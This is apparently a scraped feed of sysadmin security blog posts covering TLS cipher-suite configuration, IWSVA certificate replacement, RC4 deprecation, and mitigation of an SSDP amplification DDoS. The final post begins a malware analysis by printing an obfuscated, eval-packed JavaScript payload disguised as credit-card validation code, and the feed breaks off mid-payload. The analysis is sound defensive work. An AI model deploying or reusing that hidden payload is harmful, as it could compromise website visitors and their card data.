0x00,0x67

TLS_DHE_RSA_WITH_AES_128_CBC_SHA256

DHE-RSA-AES128-SHA256

yes

DH

RSA

AESCBC(128)

SHA256

0x00,0x40

TLS_DHE_DSS_WITH_AES_128_CBC_SHA256

DHE-DSS-AES128-SHA256

yes

DH

DSS

AESCBC(128)

SHA256

0x00,0x33

TLS_DHE_RSA_WITH_AES_128_CBC_SHA

DHE-RSA-AES128-SHA

yes

DH

RSA

AESCBC(128)

SHA1

0x00,0x32

TLS_DHE_DSS_WITH_AES_128_CBC_SHA

DHE-DSS-AES128-SHA

yes

DH

DSS

AESCBC(128)

SHA1

0x00,0x9C

TLS_RSA_WITH_AES_128_GCM_SHA256

AES128-GCM-SHA256

no

RSA

RSA

AESGCM(128)

AEAD

0x00,0x3C

TLS_RSA_WITH_AES_128_CBC_SHA256

AES128-SHA256

no

RSA

RSA

AESCBC(128)

SHA256

0x00,0x2F

TLS_RSA_WITH_AES_128_CBC_SHA

AES128-SHA

no

RSA

RSA

AESCBC(128)

SHA1

Note that the cipher-suites your application actually uses from this pool of 30 suites depends on a number of other factors. For example, the extremely common certificates using RSA keys only apply to cipher-suites using RSA for authentication. Like wise, DSS (DSA) and ECC (ECDSA) certificates will only allow using cipher-suites with DSS or ECDSA authentication respectively. There is no need to exclude one or the other specifically for your certificate because openssl/the application will filter out the unnecessary suites that aren’t compatible with the certificate in the first place.

It’s also recommended that your server chooses the best available secure cipher-suite form the client’s list when negotiation an SSL/TLS connection with a client. Most implementations by default just select the first matching cipher-suite from the list included in the Client Hello message, which could be a weaker suite providing no PFS.
On Apache you can use the SSLHonorCipherOrder on directive to always use the first (best) cipher-suite from the server’s list.

This Qualys SSL Server Test will then yield results similar to the following: (This was tested with CentOS 6, Apache 2.2.15-39, mod_ssl 2.2.15-39 and openssl 1.0.1e-30 (1.0.1j equivalent)):

Supported Cipher-SuitesHandshake Simulation

A similar list of secure cipher-suites for Windows/IIS webservers can be configured with the IIScrypto tool.


Replacing the IWSVA Admin Web Interface SSL Certificate

$
0
0

Since documentation on this by Trend Micro is pretty sparse and I’ve had to do this on a number of systems recently, I’ll document the process of replacing the certificate of the IWSVA Web Console with a new CA-signed one here.

Note: This documentation is NOT for replacing the IWSVA SSL-Inspection certificate, though similarities may exist.
This was done on IWSVA 5.6 but the process should work without issues on IWSVA 6.0 or 6.5 as well.

The whole process of requesting/creating/converting the SSL certificate described here mainly involves openssl commands and can be done from the IWSVA root shell. I also generally recommend to create at least the certificate public/private key pair always on the system that will in the end host the certificate. This reduces the risk of getting the private key compromised when you create key pairs on a different system and then have to somehow transfer the key over the network or some other way (yes, you can encrypt the keys, but it’s best if the key never left the target system in the first place).

1. So first off, we’ll create the certificate signing request (CSR) to submit to our CA for signing. Create the following openssl config file on the IWSVA machine and make sure you adjust your parameters accordingly (at least the bold red ones):

[ req ]
string_mask = utf8only
utf8 = yes
prompt = no
default_keyfile = key.rsa
default_bits = 4096
encrypt_key = no
default_md = sha256
req_extensions = v3_req
distinguished_name = req_distinguished_name

[ v3_req ]
basicConstraints = CA:FALSE
keyUsage = digitalSignature, keyEncipherment
extendedKeyUsage = serverAuth
subjectAltName = DNS:myiwsvaservername.domain.fqdn

[ req_distinguished_name ]
countryName = US
stateOrProvinceName = CA
localityName = Tumbleweed Town
0.organizationName = YourCompany Corp.
organizationalUnitName = YourCompanyDepartment
commonName = youriwsvaservername.domain.fqdn
emailAddress = youremailaddressgoeshere@somedomain.tld

2. Now create the CSR based on this config with this command:
# openssl req -new -config csrconfig.cfg -out certrequest.csr

This will generate a new private key in the file key.rsa for the certificate. We can now confirm that the settings of the config file (Key length, Subject, Extensions etc) were properly adopted in the CSR by checking it with:
# openssl req -in certrequest.csr -text -noout

3. The base64 encoded CSR in the certrequest.csr file content can then be submitted to your CA for signing. You will get a signed certificate from your CA in return. If possible, get your certificate in .p7b (PKCS7) base64 (PEM) format including the certificate chain. If you can only get the certificate in base64 X.509 format (usually .cer, .crt file) without the certificate chain, follow the instructions I’ve described at the end of the article in the Adding the certificate chain manually section.

I will proceed with the steps for a PCKS7 file including the chain for now. First we’ll confirm our certificate was properly signed including the requested extensions with:
# openssl pkcs7 -in cert.p7b -print_certs -text -noout

This command will list all certificates in the chain, you basically only have to care about the first one which is the one you requested. It should contain the requested extensions and most likely some more added by the CA (most of which are probably normal, hopefully no useless and/or proprietary extensions you don’t need at all, tough that’s usually not really an issue).

4. Now we’ll convert the PKCS7 .p7b file to raw X.509 PEM format with:
# openssl pkcs7 -in cert.p7b -print_certs -out cert.cer

Again we can confirm the contents of the new file with (only lists the first, server certificate):
# openssl x509 -in cert.cer -text -noout

5. Now we’ll convert the just created X.509 PEM format certificate yet again to PKCS12 format (.pfx or .p12), including the private key created in the beginning with:
# openssl pkcs12 -export -in cert.cer -inkey key.rsa -out cert.pfx

Surprise, we can confirm the contents of the certificate in this format too with:
# openssl pkcs12 -in cert.pfx -info -nokeys
# openssl pkcs12 -in cert.pfx -info -nokeys | openssl x509 -text -noout

6. Now we’re almost done and just need to convert the PKCS12 file to the final Java Keystore format we can use for import on the IWSVA web interface. This can’t be done with openssl but with the Java keytool that is available on the IWSVA:
# /usr/iwss/AdminUI/jre/bin/keytool -importkeystore -destkeystore keystore -srckeystore cert.pfx -srcstoretype PKCS12

The output format is a bit harder to read, but we can confirm the keystore contents with:
# /usr/iwss/AdminUI/jre/bin/keytool -list -v -keystore keystore

7. Backup the current keystore in case something goes wrong:
# cp /var/iwss/AdminUI/tomcat/keystore /root/keystore.bak

8. Now that everything is ready, we can proceed to replace the actual certificate on the IWSVA. Download the resulting keystore file and open the IWSVA web console. Browse for the keystore file and hit the Upload button. Next input the passphrase for the keystore you entered when you converted from PKCS12 to Java keystore and hit Save.
Caution: This will restart all IWSVA processes and as such disrupt network traffic through this IWSVA node.After the services have been restarted, you will be redirected to the IWSVA login prompt. You can check the certificate in your browser or via openssl with:
# openssl s_client -connect myiwsvaserver.domain.fqdn:8443 | openssl x509 -text -noout
(May not work from the IWSVA server shell directly because of silly iptables firewall rules that don’t allow a connection from localhost.)

 

Adding the certificate chain manually

If you can’t download a PKCS7 format (.p7b) file from your CA but just the certificate and chain file separately (X.509 certificates in base64 encoded PEM format), then just append the contents of the chain file to your certificate file (e.g. cat cert.cer chain.cer > certpluschain.cer) so it looks similar to this:

-----BEGIN CERTIFICATE-----
[base64 encoded server certificate]
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
[base64 encoded intermediate CA certificate, possibly multiple lines like these depending on the depth of the chain]
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
[base64 encoded root certificate]
-----END CERTIFICATE-----

The following commands can be used to confirm the certificate contents (lists the first, server one) and verify that the certificate chain is correctly contained:
# openssl x509 -in lala -text -noout
# openssl verify -CAfile certpluschain.cer certpluschain.cer
certpluschain.cer: OK

After that you can proceed with the conversion from X.509 PEM to PKCS12 explained in step number 5.



RC4 officially deprecated by RFC 7465

$
0
0

A new RFC 7465 has now been published that effectively calls for disabling RC4 everywhere:

   o  TLS clients MUST NOT include RC4 cipher suites in the ClientHello message.

   o  TLS servers MUST NOT select an RC4 cipher suite when a TLS client
      sends such a cipher suite in the ClientHello message.

   o  If the TLS client only offers RC4 cipher suites, the TLS server
      MUST terminate the handshake.  The TLS server MAY send the
      insufficient_security fatal alert in this case.

Cryptographic weaknesses around RC4 were known since many years, but in the beginning of 2013 they finally became feasible to exploit with some considerable, but not too huge of an effort.
The author of the RFC belongs to Microsoft, which published and advisory for disabling RC4 in November 2013 as well. However, Windows Server 2012 R2 with IIS 8.5 which was released in October 2013 still ships with RC4 enabled by default.

A lot of websites and “modern” software still use RC4 today. According to the SSL-Pulse statistics currently more than 60% of all SSL/TLS enabled websites still offer RC4.

It depends on the service and the security requirements, but at the moment I personally don’t see it that much of a problem in offering RC4 as a fallback, if you always prefer other secure ciphers.

Here are some examples of software or websites that still use RC4 in a manner it shouldn’t be used:

  • PayPal (server prefers RC4, though offers AES as well)
  • Youtube (the servers providing the actual video streams, not the general site; RC4 exclusively(!)) I Tested it last week but it seems like Youtube switched to offering and preferring other AES-based cipher suites just recently.
  • All versions of Windows Server and Client OSes, including the respective Internet Explorer enable RC4 by default
  • Some VMware products (at least the vCenter Web Client, and many virtual appliances; most seem to prefer AES though; ESXi hosts and vCenter service on port 443 and SSO on 7444 do not support RC4)
  • HP ILO interfaces (confirmed with ILO4 2.03, ILO3 1.80; prefers RC4)
  • Cisco IronPort Mail appliances seem to be using RC4 exclusively(!)
  • Check Point Gaia Portal web interface (tested with R77.20 with JHFA Take 77; RC4 exclusively(!))

Seems like there’s a lot of work waiting for vendors and website admins to disable RC4.
It’s a mystery to me how some popular websites or recent software releases can be released without support for any cipher suite besides RC4. And no, mitigating BEAST is not a valid excuse.


Analyzing and coping with a SSDP amplification DDoS attack

$
0
0

A while ago we were hit by an amplification/reflection DDoS attack against our public-facing network. I was familiar with NTP and DNS based reflection DDoS attacks, but this one employed the Simple Service Discovery Protocol (SSDP) to flood our tubes, a  name name I’ve heard before and saw in packet traces randomly, but hardly knew anything about to be honest.
SSDP is a UDP-based protocol for service discovery and UPnP functionality with an HTTP-like syntax. It’s deployed by modern operating systems and embedded systems like home routers, where it is sometimes enabled even on their external interfaces, which makes this kind of attack possible.

The Shadowserver Foundation has a nice website with lots of information and statistics of public SSDP-enabled devices: While the number of open or vulnerable DNS and NTP is going down steadily, there are currently around 14 million IPs around the world that respond to SSDP requests, and the number is only declining very slowly:

Due to this we can expect that SSDP will be abused for DDoS attacks more often in the future.

Details of the Attack

The attack came as a surprise on a Sunday night around 01:00 AM and lasted for approximately one hour. Fortunately this is well outside of our business hours, so it had no real impact. However, it did not stop there. There was another instance around Sunday noon that only lasted for 10 minutes.
On Monday, another short flood took place in the evening that I could experience live. Our Check Point Firewall showed a huge spike in the number of packets on the external interface. Normally we see about 130 logged connections per second during business hours, but here we have 36,000 per second.

Firewall logsI managed to grab a few sample packets during one of the attack windows. The packet’s destination IP was that of an web server of ours, which hosts our most popular site. The destination port was UDP/80 with the source port UDP/1900, meaning the attacker sent a query with source port 80 to the SSDP devices and they responded accordingly.
The packets were around 320-370 bytes in size and had the following payload, a typical response to an SSDP M-SEARCH request:

HTTP/1.1 200 OK
Cache-Control: max-age=120
EXT:
Location: http://192.168.0.1:65535/rootDesc.xml
Server: Linux/2.4.22-1.2115.nptl UPnP/1.0 miniupnpd/1.0
ST: urn:schemas-upnp-org:device:WANDevice:
USN: uuid:22222222-2222-2222-2222-222222222222::urn:schemas-upnp-org:device:WANDevice:

HTTP/1.1 200 OK
Cache-Control: max-age=120
EXT:
Location: http://192.168.10.1:65535/rootDesc.xml
Server: Linux/2.4.22-1.2115.nptl UPnP/1.0 miniupnpd/1.0
ST: urn:schemas-upnp-org:service:Layer3Forwarding:
USN: uuid:11111111-1111-1111-1111-111111111111::urn:schemas-upnp-org:service:Layer3Forwarding:

HTTP/1.1 200 OK
Cache-Control: max-age=120
EXT:
Location: http://192.168.10.1:65535/rootDesc.xml
Server: Linux/2.4.22-1.2115.nptl UPnP/1.0 miniupnpd/1.0
ST: urn:schemas-upnp-org:service:WANPPPConnection:
USN: uuid:33333333-3333-3333-3333-333333333333::urn:schemas-upnp-org:service:WANPPPConnection:

HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 11 Dec 2007 09:13:18 GMT
EXT:
LOCATION: http://192.168.2.88:49152/description.xml
SERVER: Linux/2.6.5-it0, UPnP/1.0, Intel SDK for UPnP devices /1.2
ST: upnp:rootdevice
USN: uuid:{59765E24-0C12-4d20-BsdsEE-71578AE02CB9}_e0:61:b2:12:16:c1::upnp:rootdevice

The next day we were left alone, but after that it took off again during Wednesday night and in the morning hours. I made some statistics with shady Perl scripts and the flot library from exported firewall logs to showcase the scale of the attack though the amount of logged connections per minute:

fwstatsI should emphasize that this statistic is based on logged connection objects from the firewalls point of view, and not on raw IP packets. Multiple packets with same same source/destination IP and port within the UDP session timeout are counted as a single dropped connection, and usually multiple packets were sent from one source at the same time as I could confirm with packet traces.
When I checked the active firewall interfaces during the live attack, I saw 200,000-350,000 packets per second on the external interface. For comparison, we usually have 50,000-60,000 during peak hours.
The flood of packets also caused a huge number of interface RX drops (netstat -ni, NIC driver RX ring buffers overflowing), packets which were probably not even included in the total packet rate.

As an interesting side note and as you can see in the above graph, the number of ICMP packets also jumped up considerably. These come from ICMP Port Unreachable packets that are generated by systems the attacker sends a spoofed UDP/1900 SSDP packet to, when the system actually does not have a service enabled on this port.
The attack caused our firewalls to log locally instead of sending the logs to the centralized management, even having to delete older log files to cope with the steady rate of new logs (blue bar).

On this Wednesday in total we had a total of 263 million firewall log entries, of which 247 million were UDP/1900 SSDP and 6 million were ICMP traffic. This does not include the data from the deleted log files, which should ramp up the numbers by at least another 25%.

From analyzing the logs in more details I found out that on this day, a total of 3.7 million unique IP addresses were abused in this DDoS attack. That’s quite something. Of these IPs, 3.2 million had at least 10 SSDP log entries, 800,000 had at least 100, and only 42 IPs had at least 1000 log entries. This does not include IPs that only responded with ICMP port unreachable messages.
So the problem wasn’t that a smaller group of IPs in particular bombed us during the attacks, but the large number of total end points that each “only” sent maybe a few hundred packets on average. I’ve compiled a breakdown of the top 100,000 IPs by country:

Rank Number of IPs in the top 100,000 Country
1 51807 China
2 16042 Argentina
3 14104 Bulgaria
4 1743 United States
5 1602 Japan
6 1345 Colombia
7 1263 Panama
8 1138 Taiwan
9 1077 Turkey
10 1075 India
11 1025 Romania
12 1012 Ecuador
13 738 Tunisia
14 669 Mexico
15 576 Bolivia
16 533 Ukraine
17 458 United Kingdom
18 342 Korea, Republic of
19 322 Australia
20 257 Italy
[…] […] […]
38 51 Germany
[…] […] […]
112 1 Zambia

Impact of the Attack and Mitigation

As mentioned earlier the packets were destined for port UDP/80 to our web server. As we do obviously only allow TCP/80 for normal HTTP to our web servers, the packets were dropped right at our Check Point internet firewall (R77.20 for the record).

The high rate of packets that begged to be thrown in the digital bin caused the firewall CPU utilization to jump straight to 100% during each attack window. During the first attack. the ClusterXL performed a failover too. Subsequently the CUL (Cluster Under Load) mechanism automatically prevented unnecessary flapping between the gateways, logging messages like:

[cul_load_freeze][CUL - Cluster] Setting CUL FREEZE_ON, high kernel CPU usage (99%) on local Member 0, threshold = 80%

The SSDP packets generated a good amount of traffic with approximately 300-600 Mbit/s, but not enough to completely fill our 1Gbit/s uplink (which even during peak hours is only utilized to about 40%).
The firewall however was under heavy load and mainly busy discarding the SSDP junk that was being thrown at it, causing legitimate connections to be slow or arbitrarily failing. Connectivity to the internet was fortunately not completely down but moderately slow/unstable. It was clear some kind of action was needed.

After the first attacks on Monday I activated the SecureXL optimized drops feature on the firewall cluster, hoping it will enable the systems to better cope with these floods should they occur again. I made sure it’s enabled on the node after installing the policy:

# fwaccel stat
Accelerator Status : on
Accept Templates   : enabled
Drop Templates     : enabled

Unfortunately this didn’t help much in our case. When the attacks came up on Wednesday again, I saw that packets were being dropped by SecureXL drop templates (fwaccel stats -d), but the load didn’t change much. It seems like only a fraction of the packets were dropped on the accelerated SecureXL layer.
I assume the generic optimized drop feature that dynamically creates drop templates wasn’t very effective because of the large amount of source IPs participating in this DDoS attack.

Next up I activated a SecureXL accelerated drop rule to handle the traffic, and this did the trick. The CPU utilization immediately declined to acceptable levels and connectivity became stable again. Meanwhile I could see that the attack was still ongoing with cpview showing that all of the traffic was dropped on the SecureXL layer.
In the earlier graph up above the activation of the accelerated drop rule is indicated by the green bar. As you can see, no more UDP/1900 packets were logged, as we did not enable logging for these packets, but the ICMP log amount shows that the attack continued unsuccessfully for almost an our until it finally subsided.

The configuration of these accelerated drop rules is fairly simple, in my case I just set it to filter any UDP traffic with destination port 80 and activated the rule on the external interface only:

# cat /root/dropcfg
dport 80 proto 17

# sim dropcfg -e -f /root/dropcfg

Into the trash it goes.
The rule is active immediately and works well, I haven’t noticed any negative impact. I could have included a destination directive as well but we don’t have any such legitimate traffic at all and I wanted to keep it simple, also for the sake of not having to bother a busy firewall with matching the packet’s destination IP.
Unfortunately there seems to be a bug with displaying the current sim dropcfg destination, but I can live with that for now:

# sim dropcfg -l
ioctl getdropcfg#1 failed

Keep in mind that you should configure these rules on passive cluster members as well, so they can make use of it once they  becomes active and that these rules don’t survive a reboot, so put the command in a startup script (/etc/rc.d/rc.local) as described in the SK article.

As a general performance optimization, I later also increased the RX ring size buffer on the Check Point Firewall NICs from the default 256 to 1024. This helps with driver RX drops and a decreases the softIRQ burden on the CPU during high packet rate situations.

 

Lessons Learned

SSDP is a protocol that few admins know about, and probably even less suspect it of being used in a DDoS attack. Expect it to be used more frequently for DDoS attacks.

Check Point already provides a number of basic, but effective out of the box features you can use to protect against some DDoS threats without having to buy additional licenses/software blades or dedicated DDoS protector appliances.
There are:
– Optimized Drops
– Accelerated Drop Rules
– Penalty Box – This can be especially useful when dealing with zombies that each send large amounts of traffic (only if it is dropped/triggers IPS).
– Rate Limiting
These and other general performance optimizations especially in relation to DDoS attacks are also described in this Check Point whitepaper.

The characteristic of this DDoS was that it employed a huge number of 3.7 million victim IPs to amplify the attack, but most of these IPs were only abused for a relatively small number of requests each.

We have no idea who was behind this or why. As they sent spoofed packets to the SSDP-enabled devices, even they can’t tell the actual attacker source. There are other odd things like how the attack was launched sporadically and never lasted very long, how attacks were launched at hours accomplishing pretty much no damage. Whatever was the attackers goal, he wasn’t very determined about it. Besides I see absolutely no point in targeting a the web site of a non-profit and unpolitical organization such as ours.

Too many ISPs around the world still haven’t implemented BCP 38, Network Ingress Filtering to prevent IP-spoofing from their networks. Without being able to spoof the victim IP address, such reflection/amplification attacks using DNS, NTP, SSDP or other connectionless (UDP-based) protocols would be impossible.

Into the trash it goes.

discarded


Decoding and analyzing obfuscated JavaScript for fun and profit

$
0
0

Take a short peek at the following JavaScript file (“ccard.js”):

// Credit Card Validation Javascript
// copyright 12th May 2003, by Stephen Chapman, Felgall Pty Ltd
t="\x31\x30\x31\x2c\x31\x31\x38\x2c\x39\x37\x2c\x31\x30\x38\x2c\x34\x30\x2c\x31\x30\x32\x2c\x31\x31\x37\x2c\x31\x31\x30\x2c\x39\x39\x2c\x31\x31\x36\x2c\x31\x30\x35\x2c\x31\x31\x31\x2c\x31\x31\x30\x2c\x34\x30\x2c\x31\x31\x32\x2c\x34\x34\x2c\x39\x37\x2c\x34\x34\x2c\x39\x39\x2c\x34\x34\x2c\x31\x30\x37\x2c\x34\x34\x2c\x31\x30\x31\x2c\x34\x34\x2c\x31\x30\x30\x2c\x34\x31\x2c\x31\x32\x33\x2c\x31\x30\x31\x2c\x36\x31\x2c\x31\x30\x32\x2c\x31\x31\x37\x2c\x31\x31\x30\x2c\x39\x39\x2c\x31\x31\x36\x2c\x31\x30\x35\x2c\x31\x31\x31\x2c\x31\x31\x30\x2c\x34\x30\x2c\x39\x39\x2c\x34\x31\x2c\x31\x32\x33\x2c\x31\x31\x34\x2c\x31\x30\x31\x2c\x31\x31\x36\x2c\x31\x31\x37\x2c\x31\x31\x34\x2c\x31\x31\x30\x2c\x34\x30\x2c\x39\x39\x2c\x36\x30\x2c\x39\x37\x2c\x36\x33\x2c\x33\x34\x2c\x33\x34\x2c\x35\x38\x2c\x31\x30\x31\x2c\x34\x30\x2c\x31\x31\x32\x2c\x39\x37\x2c\x31\x31\x34\x2c\x31\x31\x35\x2c\x31\x30\x31\x2c\x37\x33\x2c\x31\x31\x30\x2c\x31\x31\x36\x2c\x34\x30\x2c\x39\x39\x2c\x34\x37\x2c\x39\x37\x2c\x34\x31\x2c\x34\x31\x2c\x34\x31\x2c\x34\x33\x2c\x34\x30\x2c\x34\x30\x2c\x39\x39\x2c\x36\x31\x2c\x39\x39\x2c\x33\x37\x2c\x39\x37\x2c\x34\x31\x2c\x36\x32\x2c\x35\x31\x2c\x35\x33\x2c\x36\x33\x2c\x38\x33\x2c\x31\x31\x36\x2c\x31\x31\x34\x2c\x31\x30\x35\x2c\x31\x31\x30\x2c\x31\x30\x33\x2c\x34\x36\x2c\x31\x30\x32\x2c\x31\x31\x34\x2c\x31\x31\x31\x2c\x31\x30\x39\x2c\x36\x37\x2c\x31\x30\x34\x2c\x39\x37\x2c\x31\x31\x34\x2c\x36\x37\x2c\x31\x31\x31\x2c\x31\x30\x30\x2c\x31\x30\x31\x2c\x34\x30\x2c\x39\x39\x2c\x34\x33\x2c\x35\x30\x2c\x35\x37\x2c\x34\x31\x2c\x35\x38\x2c\x39\x39\x2c\x34\x36\x2c\x31\x31\x36\x2c\x31\x31\x31\x2c\x38\x33\x2c\x31\x31\x36\x2c\x31\x31\x34\x2c\x31\x30\x35\x2c\x31\x31\x30\x2c\x31\x30\x33\x2c\x34\x30\x2c\x35\x31\x2c\x35\x34\x2c\x34\x31\x2c\x34\x31\x2c\x31\x32\x35\x2c\x35\x39\x2c\x31\x30\x35\x2c\x31\x30\x32\x2c\x34\x30\x2c\x33\x33\x2c\x33\x39\x2c\x33\x39\x2c\x34\x36\x2c\x31\x31\x34\x2c\x31\x30\x31\x2c\x31\x31\x32\x2c\x31\x30\x38\x2c\x39\x37\x2c\x39\x39\x2c\x31\x30\x31\x2c\x34\x30\x2c\x34\x37\x2c\x39\x34\x2c\x34\x37\x2c\x34\x34\x2c\x38\x33\x2c\x31\x31\x36\x2c\x31\x31\x34\x2c\x31\x30\x35\x2c\x31\x31\x30\x2c\x31\x30\x33\x2c\x34\x31\x2c\x34\x31\x2c\x31\x32\x33\x2c\x31\x31\x39\x2c\x31\x30\x34\x2c\x31\x30\x35\x2c\x31\x30\x38\x2c\x31\x30\x31\x2c\x34\x30\x2c\x39\x39\x2c\x34\x35\x2c\x34\x35\x2c\x34\x31\x2c\x31\x30\x30\x2c\x39\x31\x2c\x31\x30\x31\x2c\x34\x30\x2c\x39\x39\x2c\x34\x31\x2c\x39\x33\x2c\x36\x31\x2c\x31\x30\x37\x2c\x39\x31\x2c\x39\x39\x2c\x39\x33\x2c\x31\x32\x34\x2c\x31\x32\x34\x2c\x31\x30\x31\x2c\x34\x30\x2c\x39\x39\x2c\x34\x31\x2c\x35\x39\x2c\x31\x30\x37\x2c\x36\x31\x2c\x39\x31\x2c\x31\x30\x32\x2c\x31\x31\x37\x2c\x31\x31\x30\x2c\x39\x39\x2c\x31\x31\x36\x2c\x31\x30\x35\x2c\x31\x31\x31\x2c\x31\x31\x30\x2c\x34\x30\x2c\x31\x30\x31\x2c\x34\x31\x2c\x31\x32\x33\x2c\x31\x31\x34\x2c\x31\x30\x31\x2c\x31\x31\x36\x2c\x31\x31\x37\x2c\x31\x31\x34\x2c\x31\x31\x30\x2c\x33\x32\x2c\x31\x30\x30\x2c\x39\x31\x2c\x31\x30\x31\x2c\x39\x33\x2c\x31\x32\x35\x2c\x39\x33\x2c\x35\x39\x2c\x31\x30\x31\x2c\x36\x31\x2c\x31\x30\x32\x2c\x31\x31\x37\x2c\x31\x31\x30\x2c\x39\x39\x2c\x31\x31\x36\x2c\x31\x30\x35\x2c\x31\x31\x31\x2c\x31\x31\x30\x2c\x34\x30\x2c\x34\x31\x2c\x31\x32\x33\x2c\x31\x31\x34\x2c\x31\x30\x31\x2c\x31\x31\x36\x2c\x31\x31\x37\x2c\x31\x31\x34\x2c\x31\x31\x30\x2c\x33\x39\x2c\x39\x32\x2c\x39\x32\x2c\x31\x31\x39\x2c\x34\x33\x2c\x33\x39\x2c\x31\x32\x35\x2c\x35\x39\x2c\x39\x39\x2c\x36\x31\x2c\x34\x39\x2c\x35\x39\x2c\x31\x32\x35\x2c\x35\x39\x2c\x31\x31\x39\x2c\x31\x30\x34\x2c\x31\x30\x35\x2c\x31\x30\x38\x2c\x31\x30\x31\x2c\x34\x30\x2c\x39\x39\x2c\x34\x35\x2c\x34\x35\x2c\x34\x31\x2c\x31\x30\x35\x2c\x31\x30\x32\x2c\x34\x30\x2c\x31\x30\x37\x2c\x39\x31\x2c\x39\x39\x2c\x39\x33\x2c\x34\x31\x2c\x31\x31\x32\x2c\x36\x31\x2c\x31\x31\x32\x2c\x34\x36\x2c\x31\x31\x34\x2c\x31\x30\x31\x2c\x31\x31\x32\x2c\x31\x30\x38\x2c\x39\x37\x2c\x39\x39\x2c\x31\x30\x31\x2c\x34\x30\x2c\x31\x31\x30\x2c\x31\x30\x31\x2c\x31\x31\x39\x2c\x33\x32\x2c\x38\x32\x2c\x31\x30\x31\x2c\x31\x30\x33\x2c\x36\x39\x2c\x31\x32\x30\x2c\x31\x31\x32\x2c\x34\x30\x2c\x33\x39\x2c\x39\x32\x2c\x39\x32\x2c\x39\x38\x2c\x33\x39\x2c\x34\x33\x2c\x31\x30\x31\x2c\x34\x30\x2c\x39\x39\x2c\x34\x31\x2c\x34\x33\x2c\x33\x39\x2c\x39\x32\x2c\x39\x32\x2c\x39\x38\x2c\x33\x39\x2c\x34\x34\x2c\x33\x39\x2c\x31\x30\x33\x2c\x33\x39\x2c\x34\x31\x2c\x34\x34\x2c\x31\x30\x37\x2c\x39\x31\x2c\x39\x39\x2c\x39\x33\x2c\x34\x31\x2c\x35\x39\x2c\x31\x31\x34\x2c\x31\x30\x31\x2c\x31\x31\x36\x2c\x31\x31\x37\x2c\x31\x31\x34\x2c\x31\x31\x30\x2c\x33\x32\x2c\x31\x31\x32\x2c\x35\x39\x2c\x31\x32\x35\x2c\x34\x30\x2c\x33\x39\x2c\x31\x30\x34\x2c\x33\x32\x2c\x37\x39\x2c\x34\x30\x2c\x39\x37\x2c\x34\x34\x2c\x39\x38\x2c\x34\x31\x2c\x31\x32\x33\x2c\x35\x31\x2c\x33\x32\x2c\x31\x30\x31\x2c\x36\x31\x2c\x39\x37\x2c\x34\x36\x2c\x38\x36\x2c\x34\x30\x2c\x33\x34\x2c\x34\x35\x2c\x33\x34\x2c\x34\x31\x2c\x35\x39\x2c\x35\x31\x2c\x33\x32\x2c\x38\x34\x2c\x36\x31\x2c\x31\x30\x37\x2c\x33\x32\x2c\x31\x30\x32\x2c\x34\x30\x2c\x31\x30\x31\x2c\x39\x31\x2c\x34\x38\x2c\x39\x33\x2c\x34\x34\x2c\x31\x30\x31\x2c\x39\x31\x2c\x34\x39\x2c\x39\x33\x2c\x34\x34\x2c\x31\x30\x31\x2c\x39\x31\x2c\x35\x30\x2c\x39\x33\x2c\x34\x31\x2c\x35\x39\x2c\x35\x31\x2c\x33\x32\x2c\x38\x37\x2c\x36\x31\x2c\x38\x34\x2c\x34\x36\x2c\x36\x35\x2c\x34\x30\x2c\x34\x31\x2c\x35\x39\x2c\x35\x31\x2c\x33\x32\x2c\x31\x31\x37\x2c\x36\x31\x2c\x39\x38\x2c\x34\x36\x2c\x38\x36\x2c\x34\x30\x2c\x33\x34\x2c\x34\x35\x2c\x33\x34\x2c\x34\x31\x2c\x35\x39\x2c\x35\x31\x2c\x33\x32\x2c\x38\x38\x2c\x36\x31\x2c\x31\x30\x37\x2c\x33\x32\x2c\x31\x30\x32\x2c\x34\x30\x2c\x31\x31\x37\x2c\x39\x31\x2c\x34\x38\x2c\x39\x33\x2c\x34\x34\x2c\x31\x31\x37\x2c\x39\x31\x2c\x34\x39\x2c\x39\x33\x2c\x34\x34\x2c\x31\x31\x37\x2c\x39\x31\x2c\x35\x30\x2c\x39\x33\x2c\x34\x31\x2c\x35\x39\x2c\x35\x31\x2c\x33\x32\x2c\x38\x33\x2c\x36\x31\x2c\x38\x38\x2c\x34\x36\x2c\x36\x35\x2c\x34\x30\x2c\x34\x31\x2c\x35\x39\x2c\x35\x32\x2c\x34\x30\x2c\x38\x37\x2c\x36\x32\x2c\x36\x31\x2c\x38\x33\x2c\x34\x31\x2c\x31\x32\x33\x2c\x35\x35\x2c\x33\x32\x2c\x37\x38\x2c\x31\x32\x35\x2c\x31\x31\x34\x2c\x33\x32\x2c\x35\x35\x2c\x33\x32\x2c\x34\x39\x2c\x31\x30\x30\x2c\x31\x32\x35\x2c\x35\x39\x2c\x31\x30\x34\x2c\x33\x32\x2c\x37\x36\x2c\x34\x30\x2c\x35\x37\x2c\x34\x34\x2c\x35\x36\x2c\x34\x31\x2c\x31\x32\x33\x2c\x35\x32\x2c\x34\x30\x2c\x37\x39\x2c\x34\x30\x2c\x35\x37\x2c\x34\x34\x2c\x35\x36\x2c\x34\x31\x2c\x36\x31\x2c\x36\x31\x2c\x37\x38\x2c\x34\x31\x2c\x31\x32\x33\x2c\x35\x31\x2c\x33\x32\x2c\x38\x32\x2c\x36\x31\x2c\x35\x37\x2c\x34\x36\x2c\x31\x30\x36\x2c\x34\x30\x2c\x35\x33\x2c\x34\x34\x2c\x35\x37\x2c\x34\x36\x2c\x31\x31\x39\x2c\x34\x30\x2c\x39\x32\x2c\x33\x39\x2c\x34\x35\x2c\x39\x32\x2c\x33\x39\x2c\x34\x31\x2c\x34\x31\x2c\x35\x39\x2c\x35\x31\x2c\x33\x32\x2c\x38\x39\x2c\x36\x31\x2c\x35\x37\x2c\x34\x36\x2c\x31\x30\x36\x2c\x34\x30\x2c\x35\x37\x2c\x34\x36\x2c\x31\x32\x32\x2c\x34\x34\x2c\x35\x37\x2c\x34\x36\x2c\x31\x31\x39\x2c\x34\x30\x2c\x39\x32\x2c\x33\x39\x2c\x34\x35\x2c\x39\x32\x2c\x33\x39\x2c\x34\x31\x2c\x34\x33\x2c\x34\x39\x2c\x34\x31\x2c\x35\x39\x2c\x35\x31\x2c\x33\x32\x2c\x34\x39\x2c\x35\x31\x2c\x36\x31\x2c\x35\x37\x2c\x34\x36\x2c\x31\x30\x36\x2c\x34\x30\x2c\x34\x38\x2c\x34\x34\x2c\x35\x37\x2c\x34\x36\x2c\x39\x39\x2c\x34\x30\x2c\x39\x32\x2c\x33\x39\x2c\x34\x35\x2c\x39\